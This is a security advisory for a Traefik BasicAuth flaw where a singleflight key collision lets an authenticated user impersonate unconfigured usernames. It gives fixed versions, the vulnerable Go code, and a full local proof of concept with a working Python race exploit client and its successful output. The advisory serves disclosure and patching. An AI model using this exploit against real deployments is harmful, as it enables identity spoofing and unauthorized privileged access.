VDB
KO
LOW

GHSA-6765-c87h-8mrf

Traefik: BasicAuth singleflight key collision allows authenticated identity spoofing

Quick fix

GHSA-6765-c87h-8mrf — github.com/traefik/traefik/v3: upgrade to the fixed version with the command below.

go get github.com/traefik/traefik/v3@v3.6.25

Details

## Summary

There is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username — whose secret is empty — can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential **and** to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path.

## Patches

- https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10

## For more information

If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).

<details> <summary>Original Description</summary>

## Summary

Traefik's BasicAuth middleware deduplicates concurrent password checks with a `singleflight.Group`. Its key is the delimiter-free concatenation `password + secret`. For an existing user with password `P` and stored hash `H`, the key is `P || H`. An unknown user can select the password `P || H`; because its secret is the empty string, its key is also `P || H`.

If the existing user's request starts the shared calculation, the unknown user receives the existing user's successful Boolean result. Traefik then continues processing the unknown user's original request and propagates the attacker-selected username through `URL.User`, the access log, and the configured BasicAuth `headerField`.

A user who knows one valid username/password/hash tuple can therefore authenticate concurrently under any unconfigured username. This becomes a privilege escalation when a backend uses the BasicAuth `headerField` as a trusted identity, which is the documented purpose of that option.

## Details

The vulnerable logic is in `pkg/middlewares/auth/basic_auth.go:118-131`:

```go func (b *basicAuth) checkPassword(user, password string) bool { secret := b.auth.Secrets(user, b.auth.Realm)

key := password + secret match, _, _ := b.singleflightGroup.Do(key, func() (any, error) { if secret == "" { _ = b.checkSecret(password, b.notFoundSecret) return false, nil }

return b.checkSecret(password, secret), nil })

return match.(bool) } ```

For a configured user `viewer`:

```text password = P secret = H key = P || H result = true ```

For an unconfigured user `admin`:

```text password = P || H secret = "" key = (P || H) || "" = P || H ```

`singleflight.Group.Do` shares the first in-flight result for equal keys. If the configured user's check is first, the unknown user's closure is not run and the unknown request receives `true`.

The authorization result is not bound to the username. After the shared result is accepted, `ServeHTTP` uses the username parsed from the unknown request:

```go req.URL.User = url.User(user)

if b.headerField != "" { req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} } ```

Consequently, the backend sees the attacker-selected `admin` identity, not the valid request's `viewer` identity.

### Attack prerequisites

The attacker needs:

1. network access to a route protected by the affected BasicAuth middleware; 2. one valid low-privilege username and password; 3. the corresponding stored password hash.

The hash is often present in deployment labels or routing configuration. Traefik's API is also a direct source when the attacker can access it: `GET /api/http/middlewares/{id}` serializes `basicAuth.users`, including the hash, despite the field carrying `loggable:"false"`. The official v3.7.8 binary returned the hash in the validation environment.

The attacker does not need another user's password or a victim-generated request. The attacker creates both concurrent requests: one with their valid credentials and one with an arbitrary, unconfigured target username.

### Security impact

When `headerField` is configured, an authenticated low-privilege user can impersonate an arbitrary identity to the backend. Depending on downstream authorization, this can allow:

- access to administrative data; - execution of privileged state-changing operations; - corruption of audit attribution; - bypass of identity-based tenant or role separation.

Without `headerField`, the unknown request is still admitted through the BasicAuth middleware. The practical consequence then depends on whether the protected route treats all authenticated users equally.

## Proof of Concept

### Validation environment

- Official Traefik v3.7.8 Linux amd64 release. - Build timestamp: `2026-07-15T12:42:25Z`. - Go version in the release: `go1.26.5`. - Archive SHA-256: `dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`. - The checksum matched the official `traefik_v3.7.8_checksums.txt` release asset. - No Traefik source files were modified.

### Dynamic configuration

The bcrypt hash below is for password `test` and uses cost 12:

```yaml http: routers: app: entryPoints: - web rule: PathPrefix(`/`) middlewares: - auth service: backend

middlewares: auth: basicAuth: headerField: X-WebAuth-User removeHeader: true users: - 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'

services: backend: loadBalancer: servers: - url: http://127.0.0.1:19090 ```

Save it as `dynamic.yml`. Use this install configuration as `static.yml`:

```yaml global: checkNewVersion: false sendAnonymousUsage: false

api: insecure: true

entryPoints: web: address: 127.0.0.1:18080

providers: file: filename: /absolute/path/to/dynamic.yml watch: false ```

The API is enabled only to demonstrate that the runtime representation exposes the configured hash. It is not needed if the tester already knows the hash from the configuration.

Use this backend as `backend.py`; it responds with the identity Traefik puts in the trusted header:

```python from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

class Handler(BaseHTTPRequestHandler): def do_GET(self): body = (self.headers.get("X-WebAuth-User", "") + "\n").encode() self.send_response(200) self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body)

def log_message(self, *args): pass

ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serve_forever() ```

Start the backend and Traefik in separate shells.

Shell 1:

```bash python3 backend.py ```

Shell 2:

```bash ./traefik --configFile=/absolute/path/to/static.yml ```

### Exploit client

```python import base64 import http.client import json import threading import time import urllib.request

HOST = "127.0.0.1" PORT = 18080 PASSWORD = "test" HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u."

def request(user, password): conn = http.client.HTTPConnection(HOST, PORT, timeout=5) token = base64.b64encode(f"{user}:{password}".encode()).decode() conn.request("GET", "/", headers={"Authorization": f"Basic {token}"}) response = conn.getresponse() body = response.read().decode().strip() status = response.status conn.close() return status, body

middleware = json.load( urllib.request.urlopen( "http://127.0.0.1:8080/api/http/middlewares/auth%40file" ) ) print("api_users", middleware["basicAuth"]["users"]) print("valid_baseline", request("viewer", PASSWORD)) print("attacker_baseline", request("admin", PASSWORD + HASH))

wins = 0 for _ in range(25): valid_result = {} valid = threading.Thread( target=lambda: valid_result.setdefault( "result", request("viewer", PASSWORD) ) ) valid.start() time.sleep(0.005) attack = request("admin", PASSWORD + HASH) valid.join() if attack == (200, "admin"): wins += 1

print("forged_admin_successes", wins, "of", 25) ```

### Observed output

```text api_users ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'] valid_baseline (200, 'viewer') attacker_baseline (401, '401 Unauthorized') forged_admin_successes 25 of 25 ```

The negative control proves that `admin` is not configured and cannot authenticate alone. During the collision, all 25 requests were admitted and the backend received the forged identity `admin`.

The same behavior was first reproduced with Apache MD5. Its much shorter hash calculation window yielded 2 successful identity forgeries in 100 attempts. Using normal production-strength bcrypt made the race deterministic in this environment because the expensive comparison remains in flight long enough for the second request to join it.

## Impact

An attacker with read access to a configured password hash and the ability to send concurrent requests can authenticate as an unconfigured username. When `headerField` is enabled, the attacker-selected username is forwarded to the backend as a trusted authenticated identity, enabling privilege impersonation, unauthorized data access, unauthorized actions, and incorrect security audit attribution. Without `headerField`, the request still bypasses BasicAuth and reaches the protected service.

</details>

---

Are you affected?

Enter the version of the package you're using.

Affected packages

Go / github.com/traefik/traefik/v3
Introduced in: 3.6.11 Fixed in: 3.6.25
Fix go get github.com/traefik/traefik/v3@v3.6.25
Go / github.com/traefik/traefik/v3
Introduced in: 3.7.0 Fixed in: 3.7.10
Fix go get github.com/traefik/traefik/v3@v3.7.10

References